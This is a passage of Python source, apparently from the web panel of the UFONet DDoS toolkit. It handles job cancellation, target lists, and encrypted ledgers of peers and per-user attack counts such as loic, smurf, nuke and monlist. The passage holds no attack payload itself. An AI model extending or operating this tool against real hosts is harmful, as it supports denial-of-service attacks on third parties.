  4664. job_task = self.list_wargames[(int(job_id)-1)]
  4665. f = open(self.wargames_file,"r")
  4666. ls = f.readlines()
  4667. f.close()
  4668. f = open(self.wargames_file,"w")
  4669. for l in ls:
  4670. if str(l) != str(job_task):
  4671. f.write(l)
  4672. else:
  4673. sep = wargames_msg_sep
  4674. job_t2 = job_task.rsplit(sep, 1)[0]
  4675. job_creation = job_t2.rsplit(sep, 1)[0]
  4676. job_target = job_t2.rsplit(sep, 1)[1]
  4677. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  4678. job_estimated = job_task.rsplit(sep, 1)[1]
  4679. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4680. f.write(l)
  4681. f.close()
  4682. except:
  4683. pass
  4684. if page == "/cmd_job_cancel_update":
  4685. if not os.path.exists('/tmp/out'):
  4686. open('/tmp/out', 'w').close()
  4687. with open('/tmp/out', 'r') as f:
  4688. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  4689. if page == "/cmd_job_cancel_all":
  4690. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  4691. try:
  4692. self.list_wargames.reverse()
  4693. f = open(self.wargames_file,"r")
  4694. ls = f.readlines()
  4695. f.close()
  4696. f = open(self.wargames_file,"w")
  4697. sep = wargames_msg_sep
  4698. for l in ls:
  4699. job_t2 = l.rsplit(sep, 1)[0]
  4700. job_creation = job_t2.rsplit(sep, 1)[0]
  4701. job_target = job_t2.rsplit(sep, 1)[1]
  4702. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  4703. job_estimated = l.rsplit(sep, 1)[1]
  4704. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4705. f.write(l)
  4706. f.close()
  4707. except:
  4708. pass
  4709. if page == "/cmd_job_cancel_all_update":
  4710. if not os.path.exists('/tmp/out'):
  4711. open('/tmp/out', 'w').close()
  4712. with open('/tmp/out', 'r') as f:
  4713. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  4714. if page == "/cmd_job_filter":
  4715. try:
  4716. job_filter = pGet["filter"]
  4717. job_key = pGet["key"]
  4718. except:
  4719. job_filter = "creation"
  4720. job_key = str(self.crypto_key)
  4721. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  4722. nodec_text = "KEY?"
  4723. try:
  4724. wargames_items=[]
  4725. with open(self.wargames_file) as f:
  4726. ls = f.read().splitlines()
  4727. f.close()
  4728. f = open(self.wargames_file,"w")
  4729. for j in ls:
  4730. if wargames_msg_sep in j:
  4731. m = j.split(wargames_msg_sep)
  4732. wargames_creation = m[0] # creation date
  4733. self.decrypt(job_key, wargames_creation)
  4734. if self.decryptedtext:
  4735. wargames_creation = self.decryptedtext
  4736. else:
  4737. wargames_creation = nodec_text
  4738. self.decryptedtext = "" # clean decryptedtext buffer
  4739. wargames_target = m[1] # target
  4740. self.decrypt(job_key, wargames_target)
  4741. if self.decryptedtext:
  4742. wargames_target = self.decryptedtext
  4743. if wargames_target.startswith("www."):
  4744. wargames_target = wargames_target.replace("www.","")
  4745. else:
  4746. wargames_target = nodec_text
  4747. self.decryptedtext = "" # clean decryptedtext buffer
  4748. wargames_estimated = m[2] # estimated date
  4749. self.decrypt(job_key, wargames_estimated)
  4750. if self.decryptedtext:
  4751. wargames_estimated = self.decryptedtext
  4752. else:
  4753. wargames_estimated = nodec_text
  4754. self.decryptedtext = "" # clean decryptedtext buffer
  4755. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4756. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4757. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  4758. if job_filter == "creation":
  4759. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4760. elif job_filter == "target":
  4761. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  4762. elif job_filter == "estimated":
  4763. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  4764. else:
  4765. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4766. for i in wargames_items:
  4767. wargames_creation = i[0]
  4768. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4769. self.encrypt(job_key, wargames_creation)
  4770. if self.encryptedtext:
  4771. wargames_creation = self.encryptedtext
  4772. self.encryptedtext = "" # clean encryptedtext buffer
  4773. wargames_target = str(i[1])
  4774. self.encrypt(job_key, wargames_target)
  4775. if self.encryptedtext:
  4776. wargames_target = self.encryptedtext
  4777. self.encryptedtext = "" # clean encryptedtext buffer
  4778. wargames_estimated = i[2]
  4779. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4780. self.encrypt(job_key, wargames_estimated)
  4781. if self.encryptedtext:
  4782. wargames_estimated = self.encryptedtext
  4783. self.encryptedtext = "" # clean encryptedtext buffer
  4784. l = str(wargames_creation) + wargames_msg_sep + str(wargames_target) + wargames_msg_sep + str(wargames_estimated)
  4785. f.write(l + os.linesep)
  4786. f.close()
  4787. except:
  4788. pass
  4789. if page == "/cmd_job_filter_update":
  4790. if not os.path.exists('/tmp/out'):
  4791. open('/tmp/out', 'w').close()
  4792. with open('/tmp/out', 'r') as f:
  4793. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  4794. if page == "/cmd_link_filter":
  4795. try:
  4796. link_filter = pGet["filter"]
  4797. link_key = pGet["key"]
  4798. except:
  4799. link_filter = "creation"
  4800. link_key = str(self.crypto_key)
  4801. self.pages["/cmd_link_filter"] = "<pre>Ordering links by: "+link_filter+"</pre>"
  4802. nodec_text = "KEY?"
  4803. try:
  4804. links_items=[]
  4805. with open(self.links_file) as f:
  4806. ls = f.read().splitlines()
  4807. f.close()
  4808. f = open(self.links_file,"w")
  4809. for j in ls:
  4810. if links_msg_sep in j:
  4811. m = j.split(links_msg_sep)
  4812. link_creation = m[0] # creation date
  4813. self.decrypt(link_key, link_creation)
  4814. if self.decryptedtext:
  4815. link_creation = self.decryptedtext
  4816. else:
  4817. link_creation = nodec_text
  4818. self.decryptedtext = "" # clean decryptedtext buffer
  4819. link_url = m[1] # url
  4820. self.decrypt(link_key, link_url)
  4821. if self.decryptedtext:
  4822. link_url = self.decryptedtext
  4823. if link_url.startswith("www."):
  4824. link_url = link_url.replace("www.","")
  4825. else:
  4826. link_url = nodec_text
  4827. self.decryptedtext = "" # clean decryptedtext buffer
  4828. link_topic = m[2] # topic
  4829. self.decrypt(link_key, link_topic)
  4830. if self.decryptedtext:
  4831. link_topic = self.decryptedtext
  4832. else:
  4833. link_topic = nodec_text
  4834. self.decryptedtext = "" # clean decryptedtext buffer
  4835. link_creation = strptime(link_creation, "%d-%m-%Y %H:%M:%S")
  4836. links_items.append([link_creation,link_url,link_topic])
  4837. if link_filter == "creation":
  4838. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4839. elif link_filter == "url":
  4840. links_items=sorted(links_items,key=lambda x:x[1]) # sorted by url
  4841. elif link_filter == "topic":
  4842. links_items=sorted(links_items,key=lambda x:x[2]) # sorted by topic
  4843. else:
  4844. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4845. for i in links_items:
  4846. link_creation = i[0]
  4847. link_creation = strftime("%d-%m-%Y %H:%M:%S", link_creation)
  4848. self.encrypt(link_key, link_creation)
  4849. if self.encryptedtext:
  4850. link_creation = self.encryptedtext
  4851. else:
  4852. link_creation = nodec_text
  4853. self.encryptedtext = "" # clean encryptedtext buffer
  4854. link_url = str(i[1])
  4855. self.encrypt(link_key, link_url)
  4856. if self.encryptedtext:
  4857. link_url = self.encryptedtext
  4858. else:
  4859. link_url = nodec_text
  4860. self.encryptedtext = "" # clean encryptedtext buffer
  4861. link_topic = str(i[2])
  4862. self.encrypt(link_key, link_topic)
  4863. if self.encryptedtext:
  4864. link_topic = self.encryptedtext
  4865. else:
  4866. link_topic = nodec_text
  4867. self.encryptedtext = "" # clean encryptedtext buffer
  4868. l = str(link_creation) + links_msg_sep + str(link_url) + links_msg_sep + str(link_topic)
  4869. f.write(l + os.linesep)
  4870. f.close()
  4871. except:
  4872. pass
  4873. if page == "/cmd_link_filter_update":
  4874. if not os.path.exists('/tmp/out'):
  4875. open('/tmp/out', 'w').close()
  4876. with open('/tmp/out', 'r') as f:
  4877. self.pages["/cmd_link_filter_update"] = "<pre>"+f.read()+"<pre>"
  4878. if page == "/cmd_stream_filter":
  4879. try:
  4880. stream_filter = pGet["filter"]
  4881. stream_key = pGet["key"]
  4882. except:
  4883. stream_filter = "creation"
  4884. stream_key = str(self.crypto_key)
  4885. self.pages["/cmd_stream_filter"] = "<pre>Ordering streams by: "+stream_filter+"</pre>"
  4886. nodec_text = "KEY?"
  4887. try:
  4888. streams_items=[]
  4889. with open(self.streams_file) as f:
  4890. ls = f.read().splitlines()
  4891. f.close()
  4892. f = open(self.streams_file,"w")
  4893. for j in ls:
  4894. if streams_msg_sep in j:
  4895. m = j.split(streams_msg_sep)
  4896. stream_creation = m[0] # creation date
  4897. self.decrypt(stream_key, stream_creation)
  4898. if self.decryptedtext:
  4899. stream_creation = self.decryptedtext
  4900. else:
  4901. stream_creation = nodec_text
  4902. self.decryptedtext = "" # clean decryptedtext buffer
  4903. stream_url = m[1] # url
  4904. self.decrypt(stream_key, stream_url)
  4905. if self.decryptedtext:
  4906. stream_url = self.decryptedtext
  4907. if stream_url.startswith("www."):
  4908. stream_url = stream_url.replace("www.","")
  4909. else:
  4910. stream_url = nodec_text
  4911. self.decryptedtext = "" # clean decryptedtext buffer
  4912. stream_topic = m[2] # topic
  4913. self.decrypt(stream_key, stream_topic)
  4914. if self.decryptedtext:
  4915. stream_topic = self.decryptedtext
  4916. else:
  4917. stream_topic = nodec_text
  4918. self.decryptedtext = "" # clean decryptedtext buffer
  4919. stream_creation = strptime(stream_creation, "%d-%m-%Y %H:%M:%S")
  4920. streams_items.append([stream_creation,stream_url,stream_topic])
  4921. if stream_filter == "creation":
  4922. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4923. elif stream_filter == "url":
  4924. streams_items=sorted(streams_items,key=lambda x:x[1]) # sorted by url
  4925. elif stream_filter == "topic":
  4926. streams_items=sorted(streams_items,key=lambda x:x[2]) # sorted by topic
  4927. else:
  4928. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4929. for i in streams_items:
  4930. stream_creation = i[0]
  4931. stream_creation = strftime("%d-%m-%Y %H:%M:%S", stream_creation)
  4932. self.encrypt(stream_key, stream_creation)
  4933. if self.encryptedtext:
  4934. stream_creation = self.encryptedtext
  4935. else:
  4936. stream_creation = nodec_text
  4937. self.encryptedtext = "" # clean encryptedtext buffer
  4938. stream_url = str(i[1])
  4939. self.encrypt(stream_key, stream_url)
  4940. if self.encryptedtext:
  4941. stream_url = self.encryptedtext
  4942. else:
  4943. stream_url = nodec_text
  4944. self.encryptedtext = "" # clean encryptedtext buffer
  4945. stream_topic = str(i[2])
  4946. self.encrypt(stream_key, stream_topic)
  4947. if self.encryptedtext:
  4948. stream_topic = self.encryptedtext
  4949. else:
  4950. stream_topic = nodec_text
  4951. self.encryptedtext = "" # clean encryptedtext buffer
  4952. l = str(stream_creation) + streams_msg_sep + str(stream_url) + streams_msg_sep + str(stream_topic)
  4953. f.write(l + os.linesep)
  4954. f.close()
  4955. except:
  4956. pass
  4957. if page == "/cmd_stream_filter_update":
  4958. if not os.path.exists('/tmp/out'):
  4959. open('/tmp/out', 'w').close()
  4960. with open('/tmp/out', 'r') as f:
  4961. self.pages["/cmd_stream_filter_update"] = "<pre>"+f.read()+"<pre>"
  4962. if page == "/cmd_globalnet_filter":
  4963. try:
  4964. globalnet_filter = pGet["filter"]
  4965. globalnet_key = pGet["key"]
  4966. except:
  4967. globalnet_filter = "owner"
  4968. globalnet_key = str(self.crypto_key)
  4969. self.pages["/cmd_globalnet_filter"] = "<pre>Ordering Global.Net by: "+globalnet_filter+"</pre>"
  4970. nodec_text = "KEY?"
  4971. try:
  4972. globalnet_items=[]
  4973. with open(self.globalnet_file) as f:
  4974. ls = f.read().splitlines()
  4975. f.close()
  4976. f = open(self.globalnet_file,"w")
  4977. for j in ls:
  4978. if globalnet_msg_sep in j:
  4979. m = j.split(globalnet_msg_sep)
  4980. globalnet_owner = m[0] # owner
  4981. self.decrypt(globalnet_key, globalnet_owner)
  4982. if self.decryptedtext:
  4983. globalnet_owner = self.decryptedtext
  4984. else:
  4985. globalnet_owner = nodec_text
  4986. self.decryptedtext = "" # clean decryptedtext buffer
  4987. globalnet_comment = m[1] # comment
  4988. self.decrypt(globalnet_key, globalnet_comment)
  4989. if self.decryptedtext:
  4990. globalnet_comment = self.decryptedtext
  4991. else:
  4992. globalnet_comment = nodec_text
  4993. self.decryptedtext = "" # clean decryptedtext buffer
  4994. globalnet_warp = m[2] # warp
  4995. self.decrypt(globalnet_key, globalnet_warp)
  4996. if self.decryptedtext:
  4997. globalnet_warp = self.decryptedtext
  4998. else:
  4999. globalnet_warp = nodec_text
  5000. self.decryptedtext = "" # clean decryptedtext buffer
  5001. globalnet_ip = m[3] # ip
  5002. self.decrypt(globalnet_key, globalnet_ip)
  5003. if self.decryptedtext:
  5004. globalnet_ip = self.decryptedtext
  5005. else:
  5006. globalnet_ip = nodec_text
  5007. self.decryptedtext = "" # clean decryptedtext buffer
  5008. globalnet_items.append([globalnet_owner,globalnet_comment,globalnet_warp,globalnet_ip])
  5009. if globalnet_filter == "owner":
  5010. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  5011. elif globalnet_filter == "comment":
  5012. globalnet_items=sorted(globalnet_items,key=lambda x:x[1]) # sorted by comment
  5013. elif globalnet_filter == "warp":
  5014. globalnet_items=sorted(globalnet_items,key=lambda x:x[2]) # sorted by warp
  5015. elif globalnet_filter == "ip":
  5016. globalnet_items=sorted(globalnet_items,key=lambda x:x[3]) # sorted by ip
  5017. else:
  5018. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  5019. for i in globalnet_items:
  5020. globalnet_owner = str(i[0])
  5021. self.encrypt(globalnet_key, globalnet_owner)
  5022. if self.encryptedtext:
  5023. globalnet_owner = self.encryptedtext
  5024. else:
  5025. globalnet_owner = nodec_text
  5026. self.encryptedtext = "" # clean encryptedtext buffer
  5027. globalnet_comment = str(i[1])
  5028. self.encrypt(globalnet_key, globalnet_comment)
  5029. if self.encryptedtext:
  5030. globalnet_comment = self.encryptedtext
  5031. else:
  5032. globalnet_comment = nodec_text
  5033. self.encryptedtext = "" # clean encryptedtext buffer
  5034. globalnet_warp = str(i[2])
  5035. self.encrypt(globalnet_key, globalnet_warp)
  5036. if self.encryptedtext:
  5037. globalnet_warp = self.encryptedtext
  5038. else:
  5039. globalnet_warp = nodec_text
  5040. self.encryptedtext = "" # clean encryptedtext buffer
  5041. globalnet_ip = str(i[3])
  5042. self.encrypt(globalnet_key, globalnet_ip)
  5043. if self.encryptedtext:
  5044. globalnet_ip = self.encryptedtext
  5045. else:
  5046. globalnet_ip = nodec_text
  5047. self.encryptedtext = "" # clean encryptedtext buffer
  5048. l = str(globalnet_owner) + globalnet_msg_sep + str(globalnet_comment) + globalnet_msg_sep + str(globalnet_warp) + globalnet_msg_sep + str(globalnet_ip)
  5049. f.write(l + os.linesep)
  5050. f.close()
  5051. except:
  5052. pass
  5053. if page == "/cmd_globalnet_filter_update":
  5054. if not os.path.exists('/tmp/out'):
  5055. open('/tmp/out', 'w').close()
  5056. with open('/tmp/out', 'r') as f:
  5057. self.pages["/cmd_globalnet_filter_update"] = "<pre>"+f.read()+"<pre>"
  5058. if page == "/cmd_grid_filter":
  5059. try:
  5060. grid_filter = pGet["filter"]
  5061. grid_key = pGet["key"]
  5062. except:
  5063. grid_filter = "missions" # default grid order by
  5064. grid_key = str(self.crypto_key)
  5065. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  5066. nodec_text = "KEY?"
  5067. nodec_num = 0
  5068. try:
  5069. grid_items=[]
  5070. with open(self.grid_file) as f:
  5071. ls = f.read().splitlines()
  5072. f.close()
  5073. f = open(self.grid_file,"w")
  5074. for j in ls:
  5075. if grid_msg_sep in j:
  5076. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  5077. m = j.split(grid_msg_sep)
  5078. grid_nickname = m[0] # nickname
  5079. self.decrypt(grid_key, grid_nickname)
  5080. if self.decryptedtext:
  5081. grid_nickname = str(self.decryptedtext)
  5082. else:
  5083. grid_nickname = nodec_text
  5084. self.decryptedtext = "" # clean decryptedtext buffer
  5085. grid_ranking = m[1] # ranking
  5086. self.decrypt(grid_key, grid_ranking)
  5087. if self.decryptedtext:
  5088. try:
  5089. grid_ranking = int(self.decryptedtext)
  5090. except:
  5091. grid_ranking = nodec_num
  5092. else:
  5093. grid_ranking = nodec_num
  5094. self.decryptedtext = "" # clean decryptedtext buffer
  5095. grid_totalchargo = m[2] # total chargo
  5096. self.decrypt(grid_key, grid_totalchargo)
  5097. if self.decryptedtext:
  5098. try:
  5099. grid_totalchargo = int(self.decryptedtext)
  5100. except:
  5101. grid_totalchargo = nodec_num
  5102. else:
  5103. grid_totalchargo = nodec_num
  5104. self.decryptedtext = "" # clean decryptedtext buffer
  5105. grid_dorking = m[3] # dorking
  5106. self.decrypt(grid_key, grid_dorking)
  5107. if self.decryptedtext:
  5108. try:
  5109. grid_dorking = int(self.decryptedtext)
  5110. except:
  5111. grid_dorking = nodec_num
  5112. else:
  5113. grid_dorking = nodec_num
  5114. self.decryptedtext = "" # clean decryptedtext buffer
  5115. grid_transferred = m[4] # transferred
  5116. self.decrypt(grid_key, grid_transferred)
  5117. if self.decryptedtext:
  5118. try:
  5119. grid_transferred = int(self.decryptedtext)
  5120. except:
  5121. grid_transferred = nodec_num
  5122. else:
  5123. grid_transferred = nodec_num
  5124. self.decryptedtext = "" # clean decryptedtext buffer
  5125. grid_maxchargo = m[5] # maxchargo
  5126. self.decrypt(grid_key, grid_maxchargo)
  5127. if self.decryptedtext:
  5128. try:
  5129. grid_maxchargo = int(self.decryptedtext)
  5130. except:
  5131. grid_maxchargo = nodec_num
  5132. else:
  5133. grid_maxchargo = nodec_num
  5134. self.decryptedtext = "" # clean decryptedtext buffer
  5135. grid_missions = m[6] # missions
  5136. self.decrypt(grid_key, grid_missions)
  5137. if self.decryptedtext:
  5138. try:
  5139. grid_missions = int(self.decryptedtext)
  5140. except:
  5141. grid_missions = nodec_num
  5142. else:
  5143. grid_missions = nodec_num
  5144. self.decryptedtext = "" # clean decryptedtext buffer
  5145. grid_attacks = m[7] # attacks
  5146. self.decrypt(grid_key, grid_attacks)
  5147. if self.decryptedtext:
  5148. try:
  5149. grid_attacks = int(self.decryptedtext)
  5150. except:
  5151. grid_attacks = nodec_num
  5152. else:
  5153. grid_attacks = nodec_num
  5154. self.decryptedtext = "" # clean decryptedtext buffer
  5155. grid_loic = m[8] # loic
  5156. self.decrypt(grid_key, grid_loic)
  5157. if self.decryptedtext:
  5158. try:
  5159. grid_loic = int(self.decryptedtext)
  5160. except:
  5161. grid_loic = nodec_num
  5162. else:
  5163. grid_loic = nodec_num
  5164. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  5165. grid_loris = m[9] # loris
  5166. self.decrypt(grid_key, grid_loris)
  5167. if self.decryptedtext:
  5168. try:
  5169. grid_loris = int(self.decryptedtext)
  5170. except:
  5171. grid_loris = nodec_num
  5172. else:
  5173. grid_loris = nodec_num
  5174. self.decryptedtext = "" # clean decryptedtext buffer
  5175. else:
  5176. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  5177. self.decrypt(grid_key, grid_loris)
  5178. if self.decryptedtext:
  5179. try:
  5180. grid_loris = int(self.decryptedtext)
  5181. except:
  5182. grid_loris = nodec_num
  5183. else:
  5184. grid_loris = nodec_num
  5185. self.decryptedtext = "" # clean decryptedtext buffer
  5186. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  5187. grid_ufosyn = m[10] # ufosyn
  5188. self.decrypt(grid_key, grid_ufosyn)
  5189. if self.decryptedtext:
  5190. try:
  5191. grid_ufosyn = int(self.decryptedtext)
  5192. except:
  5193. grid_ufosyn = nodec_num
  5194. else:
  5195. grid_ufosyn = nodec_num
  5196. self.decryptedtext = "" # clean decryptedtext buffer
  5197. else:
  5198. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  5199. self.decrypt(grid_key, grid_ufosyn)
  5200. if self.decryptedtext:
  5201. try:
  5202. grid_ufosyn = int(self.decryptedtext)
  5203. except:
  5204. grid_ufosyn = nodec_num
  5205. else:
  5206. grid_ufosyn = nodec_num
  5207. self.decryptedtext = "" # clean decryptedtext buffer
  5208. if version > 17 or version == 17 or version == 16 or version == 15:
  5209. grid_spray = m[11] # spray
  5210. self.decrypt(grid_key, grid_spray)
  5211. if self.decryptedtext:
  5212. try:
  5213. grid_spray = int(self.decryptedtext)
  5214. except:
  5215. grid_spray = nodec_num
  5216. else:
  5217. grid_spray = nodec_num
  5218. self.decryptedtext = "" # clean decryptedtext buffer
  5219. else:
  5220. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  5221. self.decrypt(grid_key, grid_spray)
  5222. if self.decryptedtext:
  5223. try:
  5224. grid_spray = int(self.decryptedtext)
  5225. except:
  5226. grid_spray = nodec_num
  5227. else:
  5228. grid_spray = nodec_num
  5229. self.decryptedtext = "" # clean decryptedtext buffer
  5230. if version > 17 or version == 17 or version == 16 or version == 15:
  5231. grid_smurf = m[12] # smurf
  5232. self.decrypt(grid_key, grid_smurf)
  5233. if self.decryptedtext:
  5234. try:
  5235. grid_smurf = int(self.decryptedtext)
  5236. except:
  5237. grid_smurf = nodec_num
  5238. else:
  5239. grid_smurf = nodec_num
  5240. self.decryptedtext = "" # clean decryptedtext buffer
  5241. else:
  5242. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  5243. self.decrypt(grid_key, grid_smurf)
  5244. if self.decryptedtext:
  5245. try:
  5246. grid_smurf = int(self.decryptedtext)
  5247. except:
  5248. grid_smurf = nodec_num
  5249. else:
  5250. grid_smurf = nodec_num
  5251. self.decryptedtext = "" # clean decryptedtext buffer
  5252. if version > 17 or version == 17 or version == 16 or version == 15:
  5253. grid_xmas = m[13] # xmas
  5254. self.decrypt(grid_key, grid_xmas)
  5255. if self.decryptedtext:
  5256. try:
  5257. grid_xmas = int(self.decryptedtext)
  5258. except:
  5259. grid_xmas = nodec_num
  5260. else:
  5261. grid_xmas = nodec_num
  5262. self.decryptedtext = "" # clean decryptedtext buffer
  5263. else:
  5264. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  5265. self.decrypt(grid_key, grid_xmas)
  5266. if self.decryptedtext:
  5267. try:
  5268. grid_xmas = int(self.decryptedtext)
  5269. except:
  5270. grid_xmas = nodec_num
  5271. else:
  5272. grid_xmas = nodec_num
  5273. self.decryptedtext = "" # clean decryptedtext buffer
  5274. if version > 17 or version == 17 or version == 16:
  5275. grid_nuke = m[14] # nuke
  5276. self.decrypt(grid_key, grid_nuke)
  5277. if self.decryptedtext:
  5278. try:
  5279. grid_nuke = int(self.decryptedtext)
  5280. except:
  5281. grid_nuke = nodec_num
  5282. else:
  5283. grid_nuke = nodec_num
  5284. self.decryptedtext = "" # clean decryptedtext buffer
  5285. else:
  5286. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  5287. self.decrypt(grid_key, grid_nuke)
  5288. if self.decryptedtext:
  5289. try:
  5290. grid_nuke = int(self.decryptedtext)
  5291. except:
  5292. grid_nuke = nodec_num
  5293. else:
  5294. grid_nuke = nodec_num
  5295. self.decryptedtext = "" # clean decryptedtext buffer
  5296. if version > 17 or version == 17:
  5297. grid_tachyon = m[15] # tachyon
  5298. self.decrypt(grid_key, grid_tachyon)
  5299. if self.decryptedtext:
  5300. try:
  5301. grid_tachyon = int(self.decryptedtext)
  5302. except:
  5303. grid_tachyon = nodec_num
  5304. else:
  5305. grid_tachyon = nodec_num
  5306. self.decryptedtext = "" # clean decryptedtext buffer
  5307. else:
  5308. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  5309. self.decrypt(grid_key, grid_tachyon)
  5310. if self.decryptedtext:
  5311. try:
  5312. grid_tachyon = int(self.decryptedtext)
  5313. except:
  5314. grid_tachyon = nodec_num
  5315. else:
  5316. grid_tachyon = nodec_num
  5317. self.decryptedtext = "" # clean decryptedtext buffer
  5318. if version > 17: # current version = 26
  5319. grid_monlist = m[16] # monlist
  5320. self.decrypt(grid_key, grid_monlist)
  5321. if self.decryptedtext:
  5322. try:
  5323. grid_monlist = int(self.decryptedtext)
  5324. except:
  5325. grid_monlist = nodec_num
  5326. else:
  5327. grid_monlist = nodec_num
  5328. self.decryptedtext = "" # clean decryptedtext buffer
  5329. grid_fraggle = m[17] # fraggle
  5330. self.decrypt(grid_key, grid_fraggle)
  5331. if self.decryptedtext:
  5332. try:
  5333. grid_fraggle = int(self.decryptedtext)
  5334. except:
  5335. grid_fraggle = nodec_num
  5336. else:
  5337. grid_fraggle = nodec_num
  5338. self.decryptedtext = "" # clean decryptedtext buffer
  5339. grid_sniper = m[18] # sniper
  5340. self.decrypt(grid_key, grid_sniper)
  5341. if self.decryptedtext:
  5342. try:
  5343. grid_sniper = int(self.decryptedtext)
  5344. except:
  5345. grid_sniper = nodec_num
  5346. else:
  5347. grid_sniper = nodec_num
  5348. self.decryptedtext = "" # clean decryptedtext buffer
  5349. grid_ufoack = m[19] # ufoack
  5350. self.decrypt(grid_key, grid_ufoack)
  5351. if self.decryptedtext:
  5352. try:
  5353. grid_ufoack = int(self.decryptedtext)
  5354. except:
  5355. grid_ufoack = nodec_num
  5356. else:
  5357. grid_ufoack = nodec_num
  5358. self.decryptedtext = "" # clean decryptedtext buffer
  5359. grid_uforst = m[20] # uforst
  5360. self.decrypt(grid_key, grid_uforst)
  5361. if self.decryptedtext:
  5362. try:
  5363. grid_uforst = int(self.decryptedtext)
  5364. except:
  5365. grid_uforst = nodec_num
  5366. else:
  5367. grid_uforst = nodec_num
  5368. self.decryptedtext = "" # clean decryptedtext buffer
  5369. grid_droper = m[21] # droper
  5370. self.decrypt(grid_key, grid_droper)
  5371. if self.decryptedtext:
  5372. try:
  5373. grid_droper = int(self.decryptedtext)
  5374. except:
  5375. grid_droper = nodec_num
  5376. else:
  5377. grid_droper = nodec_num
  5378. self.decryptedtext = "" # clean decryptedtext buffer
  5379. grid_overlap = m[22] # overlap
  5380. self.decrypt(grid_key, grid_overlap)
  5381. if self.decryptedtext:
  5382. try:
  5383. grid_overlap = int(self.decryptedtext)
  5384. except:
  5385. grid_overlap = nodec_num
  5386. else:
  5387. grid_overlap = nodec_num
  5388. self.decryptedtext = "" # clean decryptedtext buffer
  5389. grid_pinger = m[23] # pinger
  5390. self.decrypt(grid_key, grid_pinger)
  5391. if self.decryptedtext:
  5392. try:
  5393. grid_pinger = int(self.decryptedtext)
  5394. except:
  5395. grid_pinger = nodec_num
  5396. else:
  5397. grid_pinger = nodec_num
  5398. self.decryptedtext = "" # clean decryptedtext buffer
  5399. grid_ufoudp = m[24] # ufoudp
  5400. self.decrypt(grid_key, grid_ufoudp)
  5401. if self.decryptedtext:
  5402. try:
  5403. grid_ufoudp = int(self.decryptedtext)
  5404. except:
  5405. grid_ufoudp = nodec_num
  5406. else:
  5407. grid_ufoudp = nodec_num
  5408. self.decryptedtext = "" # clean decryptedtext buffer
  5409. else:
  5410. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  5411. self.decrypt(grid_key, grid_monlist)
  5412. if self.decryptedtext:
  5413. try:
  5414. grid_monlist = int(self.decryptedtext)
  5415. except:
  5416. grid_monlist = nodec_num
  5417. else:
  5418. grid_monlist = nodec_num
  5419. self.decryptedtext = "" # clean decryptedtext buffer
  5420. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  5421. self.decrypt(grid_key, grid_fraggle)
  5422. if self.decryptedtext:
  5423. try:
  5424. grid_fraggle = int(self.decryptedtext)
  5425. except:
  5426. grid_fraggle = nodec_num
  5427. else:
  5428. grid_fraggle = nodec_num
  5429. self.decryptedtext = "" # clean decryptedtext buffer
  5430. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  5431. self.decrypt(grid_key, grid_sniper)
  5432. if self.decryptedtext:
  5433. try:
  5434. grid_sniper = int(self.decryptedtext)
  5435. except:
  5436. grid_sniper = nodec_num
  5437. else:
  5438. grid_sniper = nodec_num
  5439. self.decryptedtext = "" # clean decryptedtext buffer
  5440. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
